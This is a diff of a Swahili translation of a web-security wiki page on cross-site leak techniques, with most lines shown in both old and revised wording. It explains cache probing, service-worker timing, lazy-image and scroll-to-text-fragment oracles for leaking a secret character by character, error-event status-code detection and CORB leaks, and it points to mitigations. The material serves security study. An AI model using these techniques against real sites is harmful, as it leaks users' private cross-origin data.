Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama rasilimali ilivyoombwa moja kwa moja **kupitia navigesheni ya kiwango cha juu**. Hiyo ni kwa sababu funguo ya caching inajumuisha kiwango cha juu _eTLD+1_ na frame _eTLD+1_.
Ikiwa tovuti `example.com` inajumuisha rasilimali kutoka `*.example.com/resource` basi rasilimali hiyo itakuwa na **funguo sawa ya caching** kama vile rasilimali hiyo ilitafutwa moja kwa moja **kupitia navigesheni ya ngazi ya juu**. Hiyo ni kwa sababu funguo ya caching inajumuisha ngazi ya juu _eTLD+1_ na frame _eTLD+1_.
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuifuta 20ms (kwa mfano) baada ya hapo. Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupima muda inachukua**.
Kwa sababu ufikiaji wa cache ni wa haraka zaidi kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kulifuta baada ya 20ms (kwa mfano). Ikiwa asili ilibadilishwa baada ya kusitisha, inamaanisha kuwa rasilimali ilihifadhiwa.\
Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa ambao unaweza kuhifadhiwa na kupima muda inachukua**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
@ -789,17 +789,17 @@ Au inaweza tu **kutuma baadhi ya fetch kwa ukurasa unaoweza kuhifadhiwa na kupim
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** Inawezekana kujaribu kupakia rasilimali na kuacha kabla ya kupakiwa, ikiwa ni pamoja na ikiwa kosa linatokea, rasilimali ilihifadhiwa au haikuhifadhiwa.
- **Summary:** Inawezekana kujaribu kupakia rasilimali na kabla ya kupakiwa, upakiaji unakatishwa. Kulingana na ikiwa kosa linatokea, rasilimali ilikuwa au haikuwa imehifadhiwa.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **rasilimali imehifadhiwa** na kuondoa rasilimali maalum kutoka kwenye cache ya kivinjari. Zaidi ya hayo, mchakato huu unafanyika bila kuhifadhi maudhui mapya.
Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** ili kugundua ikiwa **rasilimali imehifadhiwa** na kuondoa rasilimali maalum kutoka kwenye cache ya kivinjari. Zaidi ya hayo, mchakato huu unafanyika bila kuhifadhi maudhui mapya.
### Script Pollution
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Inawezekana **kufuta kazi zilizojengwa ndani** na kusoma hoja zao hata kutoka **script ya kuvuka mipaka** (ambayo haiwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
- **Summary:** Inawezekana **kufuta kazi za ndani** na kusoma hoja zao hata kutoka **script za kuvuka mipaka** (ambazo haziwezi kusomwa moja kwa moja), hii inaweza **kuvuja taarifa muhimu**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a>
@ -810,12 +810,12 @@ Tumia _**fetch**_ na _**setTimeout**_ na **AbortController** kugundua ikiwa **ra
- **Summary:** Pima muda wa utekelezaji wa wavuti kwa kutumia huduma za wafanyakazi.
- **Code Example**:
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **mshauri wa huduma** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kuagiza **mshauri wa huduma** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anahamisha rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **mshauri wa huduma**.
Katika hali iliyotolewa, mshambuliaji anachukua hatua ya kujiandikisha **mshauri wa huduma** ndani ya moja ya maeneo yao, hasa "attacker.com". Kisha, mshambuliaji anafungua dirisha jipya katika tovuti lengwa kutoka kwa hati kuu na kuagiza **mshauri wa huduma** kuanzisha kipima muda. Wakati dirisha jipya linaanza kupakia, mshambuliaji anapeleka rejeleo lililopatikana katika hatua ya awali kwenye ukurasa unaosimamiwa na **mshauri wa huduma**.
Pale ombi lililoanzishwa katika hatua ya awali linapofika, **mshauri wa huduma** unajibu kwa msimbo wa hali **204 (No Content)**, kwa ufanisi ukimaliza mchakato wa navigesheni. Wakati huu, **mshauri wa huduma** anachukua kipimo kutoka kwa kipima muda kilichoanzishwa mapema katika hatua ya pili. Kipimo hiki kinategemea muda wa JavaScript unaosababisha ucheleweshaji katika mchakato wa navigesheni.
> [!WARNING]
> Katika kipimo cha utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
> Katika muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
### Fetch Timing
@ -835,7 +835,7 @@ Pale ombi lililoanzishwa katika hatua ya awali linapofika, **mshauri wa huduma**
## With HTML or Re Injection
Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipaka **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika kesi ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
Hapa unaweza kupata mbinu za kuhamasisha taarifa kutoka kwa HTML ya kuvuka mipaka **kuingiza maudhui ya HTML**. Mbinu hizi ni za kuvutia katika hali ambapo kwa sababu yoyote unaweza **kuingiza HTML lakini huwezi kuingiza msimbo wa JS**.
### Dangling Markup
@ -846,16 +846,16 @@ dangling-markup-html-scriptless-injection/
### Image Lazy Loading
Ikiwa unahitaji **kuhamasisha maudhui** na unaweza **kuongeza HTML kabla ya siri** unapaswa kuangalia **mbinu za kawaida za dangling markup**.\
Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakteri kwa karakteri** (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
Hata hivyo, ikiwa kwa sababu yoyote unapaswa kufanya hivyo **karakter kwa karakter** (labda mawasiliano ni kupitia hit ya cache) unaweza kutumia hila hii.
**Picha** katika HTML ina sifa ya "**loading**" ambayo thamani yake inaweza kuwa "**lazy**". Katika kesi hiyo, picha itapakiwa wakati inapoonekana na si wakati ukurasa unapoendelea kupakia:
```html
<img src=/something loading=lazy >
```
Kwa hivyo, kile unachoweza kufanya ni **kuongeza herufi nyingi za junk** (Kwa mfano **maelfu ya "W"s**) ili **kujaza ukurasa wa wavuti kabla ya siri au kuongeza kitu kama** `<br><canvas height="1850px"></canvas><br>.`\
Kisha ikiwa kwa mfano **injection yetu inaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk itazuia **kupakiwa** (utahitaji kucheza na kiasi gani cha junk kuweka). Hii ndiyo ilitokea katika [**hii andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Kisha ikiwa kwa mfano **kuingiza kwetu kunaonekana kabla ya bendera**, **picha** itakuwa **imepakiwa**, lakini ikiwa inaonekana **baada** ya **bendera**, bendera + junk itakuwa **zuia kupakiwa** (utahitaji kucheza na kiasi gani cha junk kuweka). Hii ndiyo ilitokea katika [**hiki andiko**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Chaguo lingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
Chaguo jingine lingekuwa kutumia **scroll-to-text-fragment** ikiwa inaruhusiwa:
#### Scroll-to-text-fragment
@ -865,9 +865,9 @@ Hata hivyo, unafanya **bot kuingia kwenye ukurasa** na kitu kama
```
Hivyo ukurasa wa wavuti utakuwa kama: **`https://victim.com/post.html#:~:text=SECR`**
Ambapo post.html ina wahasiriwa wa wahasiriwa na picha ya kupakia polepole na kisha siri ya roboti inaongezwa.
Ambapo post.html ina wahasibu wa mshambuliaji na picha ya kupakia polepole na kisha siri ya bot inaongezwa.
Kile hiki kitatenda ni kumfanya roboti kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu**.
Kile maandiko haya yatakachofanya ni kumfanya bot kufikia maandiko yoyote kwenye ukurasa ambayo yana maandiko `SECR`. Kwa kuwa maandiko hayo ni siri na yako tu **chini ya picha**, **picha itapakia tu ikiwa siri iliyokisiwa ni sahihi**. Hivyo unayo oracle yako ili **kuondoa siri hiyo taratibu.**
Mfano wa msimbo wa kutumia hili: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
@ -901,7 +901,7 @@ xs-search/css-injection/
## Defenses
Kuna hatua za kujikinga zinazopendekezwa katika [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) pia katika kila sehemu ya wiki [https://xsleaks.dev/](https://xsleaks.dev/). Angalia huko kwa maelezo zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi.
Kuna mipango ya kupunguza hatari inayopendekezwa katika [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) pia katika kila sehemu ya wiki [https://xsleaks.dev/](https://xsleaks.dev/). Angalia huko kwa maelezo zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi.
## References

View File

@ -21,42 +21,42 @@ Mambo kadhaa yanaweza kuchambuliwa ili kutofautisha hali za Mtandao wa Udhaifu:
- **Nambari ya Hali**: Kutofautisha kati ya **nambari mbalimbali za majibu ya HTTP** cross-origin, kama vile makosa ya seva, makosa ya mteja, au makosa ya uthibitisho.
- **Matumizi ya API**: Kutambua **matumizi ya Web APIs** kati ya kurasa, ikifunua ikiwa ukurasa wa cross-origin unatumia API maalum ya JavaScript.
- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo ya HTTP bali pia zile zinazochochewa na JavaScript au HTML.
- **Mwelekeo**: Kugundua mwelekeo kwenda kurasa tofauti, si tu mwelekeo wa HTTP bali pia wale wanaosababishwa na JavaScript au HTML.
- **Maudhui ya Ukurasa**: Kuangalia **mabadiliko katika mwili wa majibu ya HTTP** au katika rasilimali ndogo za ukurasa, kama vile **idadi ya fremu zilizojumuishwa** au tofauti za ukubwa katika picha.
- **Kichwa cha HTTP**: Kurekodi uwepo au labda thamani ya **kichwa maalum cha majibu ya HTTP**, ikiwa ni pamoja na vichwa kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
- **Header ya HTTP**: Kurekodi uwepo au labda thamani ya **header maalum ya majibu ya HTTP**, ikiwa ni pamoja na headers kama X-Frame-Options, Content-Disposition, na Cross-Origin-Resource-Policy.
- **Muda**: Kutambua tofauti za muda zinazofanana kati ya hali hizo mbili.
### Inclusion Methods
- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa ajili ya **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Vitu vya HTML**: HTML inatoa vitu mbalimbali kwa **kujumuisha rasilimali za cross-origin**, kama vile stylesheets, picha, au scripts, ikilazimisha kivinjari kuomba rasilimali isiyo ya HTML. Mkusanyiko wa vitu vya HTML vinavyoweza kutumika kwa kusudi hili unaweza kupatikana kwenye [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Frames**: Vitu kama **iframe**, **object**, na **embed** vinaweza kuingiza rasilimali za HTML moja kwa moja kwenye ukurasa wa mshambuliaji. Ikiwa ukurasa **hauna ulinzi wa fremu**, JavaScript inaweza kufikia kitu cha fremu kupitia mali ya contentWindow.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo ya HTTP.
- **Pop-ups**: Mbinu ya **`window.open`** inafungua rasilimali katika tab au dirisha jipya, ikitoa **handle ya dirisha** kwa JavaScript kuingiliana na mbinu na mali zinazofuata SOP. Pop-ups, mara nyingi hutumiwa katika uthibitisho wa moja kwa moja, hupita vizuizi vya fremu na vidakuzi vya rasilimali lengwa. Hata hivyo, vivinjari vya kisasa vinakandamiza uundaji wa pop-up kwa vitendo fulani vya mtumiaji.
- **Maombi ya JavaScript**: JavaScript inaruhusu maombi ya moja kwa moja kwa rasilimali lengwa kwa kutumia **XMLHttpRequests** au **Fetch API**. Mbinu hizi zinatoa udhibiti sahihi juu ya ombi, kama vile kuchagua kufuata mwelekeo wa HTTP.
### Leak Techniques
- **Event Handler**: Mbinu ya kawaida ya leak katika XS-Leaks, ambapo waendeshaji wa matukio kama **onload** na **onerror** hutoa taarifa kuhusu mafanikio au kushindwa kwa upakiaji wa rasilimali.
- **Ujumbe wa Makosa**: Makaratasi ya JavaScript au kurasa maalum za makosa zinaweza kutoa taarifa za leak moja kwa moja kutoka ujumbe wa kosa au kwa kutofautisha kati ya uwepo na ukosefu wake.
- **Mipaka ya Kijumla**: Mipaka halisi ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa na kivinjari, inaweza kuashiria wakati kigezo kinapofikiwa, ikihudumu kama mbinu ya leak.
- **Mipaka ya Kijumla**: Mipaka ya kimwili ya kivinjari, kama vile uwezo wa kumbukumbu au mipaka mingine iliyowekwa, inaweza kuashiria wakati kigezo kinapofikiwa, ikitumikia kama mbinu ya leak.
- **Hali ya Kijumla**: Maingiliano yanayoweza kugundulika na **hali za kijumla** za vivinjari (mfano, kiolesura cha Historia) yanaweza kutumika. Kwa mfano, **idadi ya entries** katika historia ya kivinjari inaweza kutoa vidokezo kuhusu kurasa za cross-origin.
- **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na wakati wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu kutoa maelezo kuhusu rasilimali zilizohitajika.
- **Performance API**: API hii inatoa **maelezo ya utendaji wa ukurasa wa sasa**, ikiwa ni pamoja na muda wa mtandao kwa hati na rasilimali zilizopakiwa, ikiruhusu maelezo kuhusu rasilimali zilizohitajika.
- **Mali Zinazoweza Kusomwa**: Baadhi ya mali za HTML ni **zinazoweza kusomwa cross-origin** na zinaweza kutumika kama mbinu ya leak. Kwa mfano, mali ya `window.frame.length` inaruhusu JavaScript kuhesabu fremu zilizojumuishwa katika ukurasa wa wavuti cross-origin.
## XSinator Tool & Paper
XSinator ni chombo cha kiotomatiki cha **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
XSinator ni zana ya kiotomatiki ya **kuangalia vivinjari dhidi ya XS-Leaks kadhaa zinazojulikana** zilizoelezwa katika karatasi yake: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)
Unaweza **kupata chombo hicho katika** [**https://xsinator.com/**](https://xsinator.com/)
Unaweza **kupata zana hiyo katika** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeharibu leaks nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea usakinishaji mbaya na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usakinishaji wa CrossOrigin Resource Sharing (CORS), uvujaji wa postMessage au Cross-Site Scripting. Zaidi ya hayo, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi.
> **XS-Leaks Zilizotengwa**: Ilibidi tutenge XS-Leaks zinazotegemea **wafanyakazi wa huduma** kwani zingeingiliana na leaks nyingine katika XSinator. Zaidi ya hayo, tulichagua **kutenga XS-Leaks zinazotegemea makosa ya usanidi na makosa katika programu maalum ya wavuti**. Kwa mfano, makosa ya usanidi ya CrossOrigin Resource Sharing (CORS), uvujaji wa postMessage au Cross-Site Scripting. Aidha, tulitenga XS-Leaks za muda kwa sababu mara nyingi huwa na matatizo ya kuwa polepole, kelele na zisizo sahihi.
## **Timing Based techniques**
Baadhi ya mbinu zifuatazo zitatumia muda kama sehemu ya mchakato wa kugundua tofauti katika hali zinazowezekana za kurasa za wavuti. Kuna njia tofauti za kupima muda katika kivinjari cha wavuti.
**Clocks**: API ya [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) inaruhusu waendelezaji kupata vipimo vya muda vya hali ya juu.\
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations za CSS, na nyingine.\
Kuna idadi kubwa ya APIs ambazo mshambuliaji anaweza kuzitumia kuunda saa zisizo za moja kwa moja: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animations za CSS, na zingine.\
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## Event Handler Techniques
@ -66,14 +66,14 @@ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](http
- **Inclusion Methods**: Frames, HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Summary**: ikiwa unajaribu kupakia rasilimali kwenye matukio ya onerror/onload yanachochewa na rasilimali inapopakuliwa kwa mafanikio/kushindwa inawezekana kubaini nambari ya hali.
- **Summary**: ikiwa unajaribu kupakia rasilimali, matukio ya onerror/onload yanachochewa wakati rasilimali imepakiwa kwa mafanikio/kushindwa, inawezekana kubaini nambari ya hali.
- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Mfano wa msimbo unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Zaidi ya hayo, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS).
Mfano wa msimbo unajaribu **kupakia vitu vya scripts kutoka JS**, lakini **vitambulisho vingine** kama vile vitu, stylesheets, picha, sauti vinaweza pia kutumika. Aidha, inawezekana pia kuingiza **tag moja kwa moja** na kutangaza matukio ya `onload` na `onerror` ndani ya tag (badala ya kuingiza kutoka JS).
Pia kuna toleo lisilo na script la shambulio hili:
```html
@ -111,7 +111,7 @@ performance.now-+-force-heavy-task.md
- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Muda unaotumika kupata rasilimali unaweza kupimwa kwa kutumia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) matukio. Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati mchakato wa kuhamia unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**.
Muda unaochukuliwa kupata rasilimali unaweza kupimwa kwa kutumia matukio ya [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) na [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Tukio la **`beforeunload`** linatokea wakati kivinjari kinakaribia kuhamia kwenye ukurasa mpya, wakati tukio la **`unload`** linatokea wakati uhamaji unafanyika. Tofauti ya muda kati ya matukio haya mawili inaweza kuhesabiwa ili kubaini **muda ambao kivinjari kilitumia kupata rasilimali**.
### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
@ -121,7 +121,7 @@ Muda unaotumika kupata rasilimali unaweza kupimwa kwa kutumia [`unload`](https:/
- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Imethibitishwa kuwa katika kukosekana kwa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababisha tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
Imekuwa ikionekana kwamba katika kukosekana kwa [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), muda unaohitajika kwa ukurasa na rasilimali zake ndogo kupakia kupitia mtandao unaweza kupimwa na mshambuliaji. Kipimo hiki kwa kawaida kinawezekana kwa sababu `onload` handler ya iframe inasababishwa tu baada ya kukamilika kwa upakiaji wa rasilimali na utekelezaji wa JavaScript. Ili kupita tofauti iliyosababishwa na utekelezaji wa script, mshambuliaji anaweza kutumia sifa ya [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) ndani ya `<iframe>`. Kuongeza sifa hii kunakataza kazi nyingi, hasa utekelezaji wa JavaScript, hivyo kuruhusu kipimo ambacho kinategemea zaidi utendaji wa mtandao.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
@ -134,7 +134,7 @@ Imethibitishwa kuwa katika kukosekana kwa [Framing Protections](https://xsleaks.
- **Summary**: Ikiwa unaweza kufanya ukurasa uwe na kosa wakati maudhui sahihi yanapofikiwa na kufanya upakue vizuri wakati maudhui yoyote yanapofikiwa, basi unaweza kufanya mzunguko kutoa taarifa zote bila kupima muda.
- **Code Example**:
Fikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
Kufikiria kwamba unaweza **kuingiza** **ukurasa** ambao una **maudhui ya siri** **ndani ya Iframe**.
Unaweza **kufanya mwathirika atafute** faili ambayo ina "_**bendera**_" kwa kutumia **Iframe** (ukitumia CSRF kwa mfano). Ndani ya Iframe unajua kwamba _**tukio la onload**_ litakuwa **linatekelezwa kila wakati angalau mara moja**. Kisha, unaweza **kubadilisha** **URL** ya **iframe** lakini kubadilisha tu **maudhui** ya **hash** ndani ya URL.
@ -143,16 +143,16 @@ Kwa mfano:
1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **kupakia**, basi, tukio la **onload** litazinduliwa **tena**.
Ikiwa URL ya kwanza ilipakuliwa **kwa mafanikio**, basi, wakati **ukibadilisha** sehemu ya **hash** ya URL tukio la **onload** **halitazinduliwa** tena. Lakini **ikiwa** ukurasa ulikuwa na aina fulani ya **kosa** wakati wa **upakuaji**, basi, tukio la **onload** litazinduliwa **tena**.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** wakati unafikiwa.
Kisha, unaweza **kutofautisha kati ya** ukurasa ulio **pakuliwa vizuri** au ukurasa ambao una **kosa** unapofikiwa.
### Javascript Execution
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**:
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kupakia** kila jaribio ndani ya **`<script>`** vitambulisho, hivyo katika kesi **hasi** kodhi ya washambuliaji **inasimamiwa,** na katika kesi **za thibitisho** **hakuna** itatekelezwa.
- **Summary:** Ikiwa **ukurasa** unarudisha **maudhui ya nyeti**, **au** maudhui ambayo yanaweza **kudhibitiwa** na mtumiaji. Mtumiaji anaweza kuweka **kodhi halali ya JS katika kesi hasi**, na **kuhifadhi** kila jaribio ndani ya **`<script>`** vitambulisho, hivyo katika kesi **hasi** kodhi ya washambuliaji **inasimamiwa,** na katika kesi **chanya** **hakuna** itasimamiwa.
- **Code Example:**
{{#ref}}
@ -164,7 +164,7 @@ javascript-execution-xs-leak.md
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code & Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakia rasilimali nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudisha _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **msimbo wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inakabiliwa na **CORB**), ikisababisha uvujaji wa taarifa.
- **Summary**: **Cross-Origin Read Blocking (CORB)** ni kipimo cha usalama kinachozuia kurasa za wavuti kupakua rasilimali fulani nyeti za cross-origin ili kulinda dhidi ya mashambulizi kama **Spectre**. Hata hivyo, washambuliaji wanaweza kutumia tabia yake ya kinga. Wakati jibu linalohusishwa na **CORB** linaporudisha _**CORB protected**_ `Content-Type` na `nosniff` na msimbo wa hali `2xx`, **CORB** inakata mwili wa jibu na vichwa. Washambuliaji wanaoshuhudia hili wanaweza kudhani mchanganyiko wa **msimbo wa hali** (unaonyesha mafanikio au kosa) na `Content-Type` (inaonyesha ikiwa inprotected na **CORB**), ikisababisha uvujaji wa taarifa.
- **Code Example**:
Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
@ -177,7 +177,7 @@ Angalia kiungo cha maelezo zaidi kwa maelezo zaidi kuhusu shambulizi.
- **Summary**: Vuja data nyeti kutoka kwa sifa ya id au jina.
